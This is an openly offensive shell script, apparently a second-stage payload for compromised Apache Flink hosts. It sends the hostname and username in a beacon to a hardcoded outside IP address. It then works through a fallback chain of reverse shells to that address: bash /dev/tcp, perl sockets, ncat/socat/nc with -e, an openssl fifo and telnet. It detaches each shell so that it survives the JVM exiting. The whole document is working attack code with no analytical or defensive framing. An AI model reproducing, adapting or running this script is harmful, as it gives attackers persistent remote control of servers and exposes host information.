#!/bin/sh
# flink-payload-server stage-2 : beacon + reverse shell (Flink-image ranked)
_rhost="41.249.150.137"; _rport="4999"; _id="${1:-ALNK}"
log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
beacon(){
  if command -v curl >/dev/null 2>&1; then
    curl -s -m 8 "http://41.249.150.137:4999/beacon?h=$(hostname)&u=$(id -un)&id=$_id&t=$(date +%s)" >/dev/null 2>&1
  elif command -v wget >/dev/null 2>&1; then
    wget -qO/dev/null "http://41.249.150.137:4999/beacon?h=$(hostname)&u=$(id -un)&id=$_id&t=$(date +%s)" >/dev/null 2>&1
  fi
}
beacon
log "revshell: $_rhost:$_rport (id=$_id)"

# --- 1) bash /dev/tcp (Flink images always ship bash) ---
# Detach with setsid + </dev/null + disown so the shell SURVIVES both the
# JobManager JVM exit (System.exit kills the process group otherwise) and the
# parent sh terminating when the pipeline ends.
if command -v bash >/dev/null 2>&1; then
  log "backend: bash /dev/tcp"
  if command -v setsid >/dev/null 2>&1; then
    setsid bash -c "exec 3<>/dev/tcp/$_rhost/$_rport; /bin/bash -i <&3 >&3 2>&3" </dev/null >/dev/null 2>&1 &
  else
    bash -c "exec 3<>/dev/tcp/$_rhost/$_rport; /bin/bash -i <&3 >&3 2>&3" </dev/null >/dev/null 2>&1 &
  fi
  shpid=$!
  disown $shpid 2>/dev/null
  # if bash died quickly (no listener), fall through to next backend
  sleep 3
  kill -0 $shpid 2>/dev/null && exit 0
  wait $shpid 2>/dev/null
fi

# --- 2) perl (present on both verified Flink images) ---
if command -v perl >/dev/null 2>&1; then
  log "backend: perl"
  if command -v setsid >/dev/null 2>&1; then
    setsid perl -MIO::Socket::INET -e '
my ($h,$p)=@ARGV;
for (1..30){
  eval {
    my $s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp",Timeout=>2) or die;
    open(STDIN,">&".$s->fileno); open(STDOUT,">&".$s->fileno); open(STDERR,">&".$s->fileno);
    exec("/bin/sh","-i");
  };
  sleep 1;
}
' $_rhost $_rport </dev/null >/dev/null 2>&1 &
  else
    perl -MIO::Socket::INET -e '
my ($h,$p)=@ARGV;
for (1..30){
  eval {
    my $s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp",Timeout=>2) or die;
    open(STDIN,">&".$s->fileno); open(STDOUT,">&".$s->fileno); open(STDERR,">&".$s->fileno);
    exec("/bin/sh","-i");
  };
  sleep 1;
}
' $_rhost $_rport </dev/null >/dev/null 2>&1 &
  fi
  shpid=$!
  disown $shpid 2>/dev/null
  sleep 3
  kill -0 $shpid 2>/dev/null && exit 0
  wait $shpid 2>/dev/null
fi

# --- 3) nc / ncat / socat ---
for cmd in ncat socat; do
  if command -v $cmd >/dev/null 2>&1; then
    log "backend: $cmd"
    for i in 1 2 3 4 5 6 7 8 9 10; do
      if [ "$cmd" = "ncat" ]; then
        ncat $_rhost $_rport -e /bin/sh 2>/dev/null && exit 0
      else
        socat TCP4:$_rhost:$_rport EXEC:/bin/sh,pty,stderr,setsid,sigint,sane 2>/dev/null && exit 0
      fi
      sleep 1
    done
    exit 0
  fi
done
if command -v nc >/dev/null 2>&1; then
  log "backend: nc"
  for i in 1 2 3 4 5 6 7 8 9 10; do
    nc $_rhost $_rport -e /bin/sh 2>/dev/null && exit 0
    sleep 1
  done
  exit 0
fi

# --- 4) perl one-liner dup2 (alternative paths) ---
if command -v perl >/dev/null 2>&1; then
  log "backend: perl-lite"
  perl -e 'use Socket; $p=$ARGV[1]; $h=$ARGV[0]; for(1..10){ socket(S,PF_INET,SOCK_STREAM,6); connect(S,sockaddr_in($p,inet_aton($h))) && (dup2(fileno(S),0),dup2(fileno(S),1),dup2(fileno(S),2),exec("/bin/sh","-i")); sleep 1 }' $_rhost $_rport 2>/dev/null
  exit 0
fi

# --- 5) openssl + fifo ---
if command -v openssl >/dev/null 2>&1; then
  log "backend: openssl"
  for i in 1 2 3; do
    rm -f /tmp/.f$$ && mkfifo /tmp/.f$$ && (cat /tmp/.f$$ | /bin/sh -i 2>&1 | openssl s_client -quiet -connect $_rhost:$_rport > /tmp/.f$$ 2>/dev/null &) ; sleep 2
    rm -f /tmp/.f$$
  done
  exit 0
fi

# --- 6) telnet ---
if command -v telnet >/dev/null 2>&1; then
  log "backend: telnet"
  telnet $_rhost $_rport </dev/null >/dev/null 2>&1 &
  exit 0
fi

log "no revshell backend available"